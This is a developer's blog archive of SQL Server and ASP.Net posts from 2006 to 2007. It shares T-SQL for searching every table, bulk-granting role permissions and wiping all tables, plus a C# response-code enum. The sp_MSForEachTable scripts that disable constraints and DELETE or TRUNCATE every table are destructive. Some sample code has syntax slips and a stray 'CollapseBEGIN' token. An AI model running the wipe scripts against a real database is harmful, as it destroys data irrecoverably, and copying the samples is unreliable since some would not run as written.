    Most people on Google are just resorting to a complete re-install of your machine but I've found that's because you're not uninstalling the right thing. First thing I did this time was remove Microsoft SQL Server 2005 completely but near the end of the installer it asks you if you want to remove or modify. This time, I chose modify and set all the components to "Entire Feature will be Unavailable". That then seems to uninstall it fully for you. Now uninstall SQL Server Management Studio Express and you're done :)

    Hope that helps someone else (or me in a few months time...)

     

    Don't forget to follow me on Twitter.

    # Friday, November 02, 2007

    How to search every table and field in a SQL Server Database

    Friday, November 02, 2007 1:28:37 PM (GMT Standard Time, UTC+00:00)

    Update: I have corrected the original issue with this script. Please see Search every table and field in a SQL Server Database Updated.

    Today I had an issue with Umbraco and a copy of a deleted page appearing in the menu, I'll post how I fix it if I ever do find the answer but while trying to track the issue down I came across a really useful piece of T-SQL from Narayana Vyas Kondreddi (Vyas) that searches each table in a database and then each field in the table. I had to expand it to include integers etc but all credit to him! For reference here's a copy of the code:

    Search all tables and fields in a SQL Server Database

    CREATE PROC SearchAllTables
    (
        @SearchStr nvarchar(100)
    )
    AS
    CollapseBEGIN
        -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
        -- Purpose: To search all columns of all tables for a given search string
        -- Written by: Narayana Vyas Kondreddi
        -- Site: http://vyaskn.tripod.com
        -- Tested on: SQL Server 7.0 and SQL Server 2000
        -- Date modified: 28th July 2002 22:50 GMT
        CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

        SET NOCOUNT ON

        DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
        SET  @TableName = ''
        SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

        WHILE @TableName IS NOT NULL
        BEGIN
            SET @ColumnName = ''
            SET @TableName = 
            (
                SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
                FROM     INFORMATION_SCHEMA.TABLES
                WHERE         TABLE_TYPE = 'BASE TABLE'
                    AND    QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
                    AND    OBJECTPROPERTY(
                            OBJECT_ID(
                                QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                                 ), 'IsMSShipped'
                                   ) = 0
            )

            WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
            BEGIN
                SET @ColumnName =
                (
                    SELECT MIN(QUOTENAME(COLUMN_NAME))
                    FROM     INFORMATION_SCHEMA.COLUMNS
                    WHERE         TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                        AND    TABLE_NAME    = PARSENAME(@TableName, 1)
                        AND    DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int', 'decimal')
                        AND    QUOTENAME(COLUMN_NAME) > @ColumnName
                )
        
                IF @ColumnName IS NOT NULL
                BEGIN
                    INSERT INTO #Results
                    EXEC
                    (
                        'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630) 
                        FROM ' + @TableName + ' (NOLOCK) ' +
                        ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
                    )
                END
            END    
        END

        SELECT ColumnName, ColumnValue FROM #Results
    END
     

    Don't forget to follow me on Twitter.

    # Tuesday, May 01, 2007

    ASP.Net Membership SQL Roles access

    Tuesday, May 01, 2007 8:41:48 AM (GMT Daylight Time, UTC+01:00)

    We have recently moved over to SQL Server 2005 and as part of this transfer I decided to aggregate two separate ASP.Net Membership databases that were created purely out of error.

    For those of you who don’t already know, you can happily run more than application’s security from a single membership database as long as you correctly configure the web.config’s security settings –for more information on doing that see my post on having dual records in the ASP.Net authentication table (see: Dual Records In The ASPNet Authentication Table). The important attribute/value set to configure if you are planning on running more than one application from the same roles database is “applicationName”. If you do not set “applicationName” you will find that users can log in across all your applications, roles/access levels will get mixed up and a whole bunch of other hullabaloo!

    Luckily for me, the only records stored in one of the membership databases were two users, both of which I knew the password to so I decided I would simply update the web.config with the new database connection string and add them manually.

    The next thing I wanted to sort however was the specific SQL Login’s access to the membership database, previously I simply added the user to all the various aspnet_ roles that were in the database which worked fine. As I’m looking to use this database for other applications in the future and I don’t like sharing usernames/passwords across applications, adding the roles each time would become a real PITA so I decided to add a new role with all the access required for the database so I could simply add the user to this new role. I called the role IIS_User.

    A number of our applications build on the foundation of the ASP.Net Membership database with application specific values and so I tend to have another table for the application’s users within the applications specific database to store these values. The user has the usual UserId (usually an int) and a uniqueidentifier which allows me to link the two database together. With this in mind, I need additional access to the ASP.Net Membership database –SELECT permission on the tables. I don’t like adding more permissions to a role than needed but I needed a method of doing this quickly –assigning EXECUTE and SELECT permissions to the new role on the various tables/stored procedures. In time I’ll revisit this and work out which are needed by the role and remove the permissions not needed but for now this’ll do :)

    The quick and dirty T-SQL

    DECLARE @SQL nvarchar(4000),
        @Owner sysname,
        @objName sysname,
        @Return int,
        @objType nvarchar(5),
        @rolename nvarchar(255)

    SET @rolename = 'IIS_User'

    -- Cursor of all the stored procedures in the current database
    DECLARE cursStoredProcedures CURSOR FAST_FORWARD
    FOR
    SELECT 
        USER_NAME(uid) Owner, 
        [name] StoredProcedure,
        xtype
    FROM
        sysobjects
    WHERE
    (
        xtype = 'U'
      OR
        xtype = 'P'
    )
      AND
        LEFT([name], 7) = 'aspnet_'

    OPEN cursStoredProcedures

    -- Get the first row
    FETCH NEXT FROM cursStoredProcedures
    INTO @Owner, @objName, @objType

    -- Set the return code to 0
    SET @Return = 0

    -- Encapsulate the permissions assignment within a transaction
    BEGIN TRAN

    -- Cycle through the rows of the cursor
    -- And grant permissions
    WHILE ((@@FETCH_STATUS = 0) AND (@Return = 0))
      BEGIN

        --Determine the object's type (table/stored procedure) -could 
        --be done using a case too if more objects are added later
        IF @objType = 'P'
        BEGIN
            SET @SQL = 'GRANT EXECUTE ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
        END

        IF @objType = 'U'
        BEGIN
            SET @SQL = 'GRANT SELECT ON [' + @Owner + '].[' + @objName  + '] TO ' + @rolename
        END

        -- Execute the SQL statement
        EXEC @Return = sp_executesql @SQL

        -- Get the next row
        FETCH NEXT FROM cursStoredProcedures
        INTO @Owner, @objName, @objType
      END

    -- Clean-up after the cursor
    CLOSE cursStoredProcedures
    DEALLOCATE cursStoredProcedures

    -- Check to see if the WHILE loop exited with an error.
    IF (@Return = 0)
      BEGIN
        -- Exited fine, commit the permissions
        COMMIT TRAN
      END
    ELSE
      BEGIN
        -- Exited with an error, rollback any changes
        ROLLBACK TRAN
        
        -- Report the error
        SET @SQL = 'Error granting permission to ['
        + @Owner + '].[' + @objName + ']'
        RAISERROR(@SQL, 16, 1)
      END
    GO
     

    Don't forget to follow me on Twitter.

    # Tuesday, April 17, 2007

    SQL Server Delete all data

    Tuesday, April 17, 2007 4:18:54 PM (GMT Daylight Time, UTC+01:00)

    I expect many people already know about this technique but I wanted to share it with those that don’t. The other day I needed to remove all data from a database before importing data from another database. I usually use DTS to copy the data across but knew that the database (one test) had conflicting ids so I decided deleting all the data out of the test database would be the best way to ensure all data’s up to date.

    I found this useful little set of SQL at: http://sqljunkies.com/WebLog/roman/archive/2006/03/03/18386.aspx, there are two solutions propsed within the post and comments so here they both are:

    Delete the data without resetting the identities

    -- disable referential integrity
    EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL'
    GO

    EXEC sp_MSForEachTable 'DELETE FROM ?'
    GO
    -- enable referential integrity again
    EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL'
    GO

    Delete the data and reset the identities

    -- disable referential integrity
    EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL' 
    GO 

    EXEC sp_MSForEachTable 'TRUNCATE TABLE ?' 
    GO 

    -- enable referential integrity again 
    EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL' 
    GO
     

    Don't forget to follow me on Twitter.

    SQL Server Delete all data
    Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [7]  Trackback LinkTrackback
    CategoriesTags: SQL Server | Web Development
    # Wednesday, February 28, 2007

    SQL Server SP2 quirks

    Wednesday, February 28, 2007 6:35:40 PM (GMT Standard Time, UTC+00:00)

    Ok, as sad as it sounds I've been looking forward to the latest SQL Server service pack since I heard about some of the issues it fixed as there was two "glitches" in particular that seriously bugged me, namely:

    • Loading a SQL file into the query editor on a live connection would ask you to log in again -this bugged the hell out of me because I have a number of routines saved on my disk as SQL files that manage client's servers and so I don't always have the password to easily hand which would just delay development (ok all be it by 30seconds or so but that's not the point)
    • It would never remember my password in the initial splash screen, again see why above.

    Anyway, it's great to see that these two points were fixed as well as a load of other issues but I couldn't help but chuckle when I saw the new context menus, I don't know about you but when editing this table I didn't know which one I needed to choose:

    Confusing SQL Server Context Menu

    FWIW you need "Design" to open the design view and "Edit" to generate a SQL CREATE Script. Genius!

     

    Don't forget to follow me on Twitter.

    SQL Server SP2 quirks
    Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [0]  Trackback LinkTrackback
    CategoriesTags: SQL Server
    # Monday, November 13, 2006

    Making sense of database responses

    Monday, November 13, 2006 8:48:41 PM (GMT Standard Time, UTC+00:00)

    We're nearing the end of a large system for the lovely people over at Consolidated Communications Management Ltd and we've just come across a nice idea to make sense of database responses. Typically in the past we've simply returned -1/0 for failure and a positive integer (usually an id) of it was successful. The new method should add a little more conformity to our code. We already use a common Database Access Layer which handles the opening/closing of our connection, adding parameters etc but I’ve just added an enum with the common database responses, thought it may be of use to others:

    public enum DatabaseResponse
    {
        Success = 0,
        Init = -1,
        Found = -2,
        NotFound = -3,
        Duplicate = -4
    }

    This should cover the common responses from our database however to make it a little more futureproof we'll keep -1 through to -10 reserved for this data level and then start more specific responses from -11 (i.e. BadPassword).

    Using it is simple (this is not real code before you ask!):

    public bool Save()
    {
        DatabaseLayer DBLayer = new DatabaseLayer();

        //Check whether we should be saving or inserting this record
        if (this.Id == (int)DatabaseLayer.DatabaseResponse.Init)
        {
            //The Id's set to initialised only so insert
            //The create method simply inserts the values into the database and returns
            //either the Id of the newly inserted record or our database response
            this.Id = DBLayer.Create(this);

            if (this.Id >= (int)DatabaseLayer.DatabaseResponse.Success)
            {
                //The insert was a success
                return true
            }
            else
            {
                //The insert failed for some reason -you could throw an error 
                //to catch or simply bubble the response upto to the code behind layer
                return false
            }
        }
        else
        {
            //When updating the record don't use the Id to store the response, instead
            //throw it into a temp object and use that so the Id's still stored in the object
            int response = DBLayer.Update(this);

            if (response == (int)DatabaseLayer.DatabaseResponse.Success)
                return true//All's ok
            else
                return false//Something went wrong -it could be the item wasn't found etc
        }
    }
     

    Don't forget to follow me on Twitter.

    Making sense of database responses
    Useful Links:  #  digg it!  del.icio.us  Technorati  email it!  Post CommentsComments [1]  Trackback LinkTrackback
    CategoriesTags: ASP | ASP.Net | SQL Server
    # Monday, October 09, 2006

    Stored Procedure to assign permissions

    Monday, October 09, 2006 3:42:49 PM (GMT Daylight Time, UTC+01:00)

    This is a useful stored procedure for assigning permissions to users quickly and easily. We tend to assign a new login to each application we develop, this way we limit the damage possible in the event of a username/password compromise.

    /*--------------------------------------------------------------------------
    Automatically assign the role permissions
    --------------------------------------------------------------------------*/

    USE DatabaseName
    SET NOCOUNT ON

    DECLARE @objName varchar(80)
    DECLARE @objType char(2)
    DECLARE @username varchar(100)
    SET @username = 'UserNameToAssignPermissionsTo'

    DECLARE grant_perms_on_sps CURSOR FOR
    SELECT name, type
    FROM SYSOBJECTS
    WHERE
      (
        (type = 'P')
       OR
        (type = 'FN')
       OR
        (type = 'TF')
       OR
        (type = 'U')
       OR
        (type = 'V')
      )
     AND
      uid = 1
     AND
      status > -1
     AND
      LEFT(name, 3) <> 'dt_' --See Note 1

    OPEN grant_perms_on_sps
    FETCH NEXT FROM grant_perms_on_sps
    INTO @objName, @objType

    WHILE @@FETCH_STATUS = 0
    BEGIN
      IF @objType = 'P' OR @objType = 'FN'
      BEGIN
        EXEC ('GRANT EXECUTE ON dbo.' + @objName + ' TO ' + @username)
        PRINT ('GRANTED EXECUTE ON dbo.' + @objName + ' TO ' + @username)
      END

      IF @objType = 'TF'
      BEGIN
        EXEC ('GRANT SELECT ON dbo.' + @objName + ' TO ' + @username)
        PRINT ('GRANTED SELECT ON dbo.' + @objName + ' TO ' + @username)
      END

      FETCH NEXT FROM grant_perms_on_sps
      INTO @objName, @objType
    END

    CLOSE grant_perms_on_sps
    DEALLOCATE grant_perms_on_sps

    GO
    ------------------------------------------------------------------------

    Note 1: In addition, we tend to prefix our database objects with useful prefixes to group relevant tables, i.e. if we had login information stored in the database we may use “Login_” as the prefix, using this method with this Stored Procedure to assign permissions you can easily select the relevant objects. So you could alter the stored procedure a touch:

    DECLARE @prefix varchar(100)
    SET @prefix = 'PrefixToUse'

    LEFT(name, LEN(@prefix)) = @prefix

     

    Don't forget to follow me on Twitter.

    # Thursday, September 28, 2006

    SQL Server a memory hog? No, not at all

    Thursday, September 28, 2006 7:12:59 PM (GMT Daylight Time, UTC+01:00)

    Craig found an amusing dity today, he was messing around with the settings in SQL Server Express and noticed these memory settings:

    SQL Server Memory Settings

    For those of you who don’t want to deliminate it, that’s:

    • 2,147,483,647 Megabytes
    • 2,147,483 Gigabytes
    • 2,147 Terabytes
    • Or 2 Petabytes!!

    One does have to wonder what sort of super computer Microsoft are expecting to have run the database. It's certainly future-proof that's for sure. I'd love to have 1TB of RAM, let alone 2PB! So the next time you wonder what’s taking up all the memory, best check SQL Server –you might just find that lost Petabyte…

    BTW if this blog post is still around when Petabytes are as common as Mega and Gigabytes are now then feel free to lean back in your chair and recollect “the good ol’ days” when computers only had 200-300GB of disk space and a couple of Gig’s RAM.

     

    Don't forget to follow me on Twitter.

    # Monday, July 03, 2006

    Bulk Granting EXECTUTE Permission on SQL Server

    Monday, July 03, 2006 3:42:17 PM (GMT Daylight Time, UTC+01:00)

    Here's some code I regularly find useful when going from a dev server to a production server (or changing the username), I'm sure there's a more automated way but for a quick fix...

    DECLARE @username varchar(100)
    SET @username = 'xyz'
    SELECT
        'GRANT EXECUTE ON ' + name + ' TO ' + @username
    FROM
        sysobjects
    WHERE
        xtype = 'p'
    AND
         LEFT(name, 4) = 'PRE_'

    The code is simple, it lists all the stored procedures with a set prefix and generates the T-SQL to grant EXECUTE permissions to a given user.

    To use it, set the username, update the last line if you would like to limit it's bounds (we prefix ours for clarity i.e. SProcs with a prefix of CMS_ are used in the Content Management System) and run it, then copy the results and run them in a Query Analyser.

     

    Don't forget to follow me on Twitter.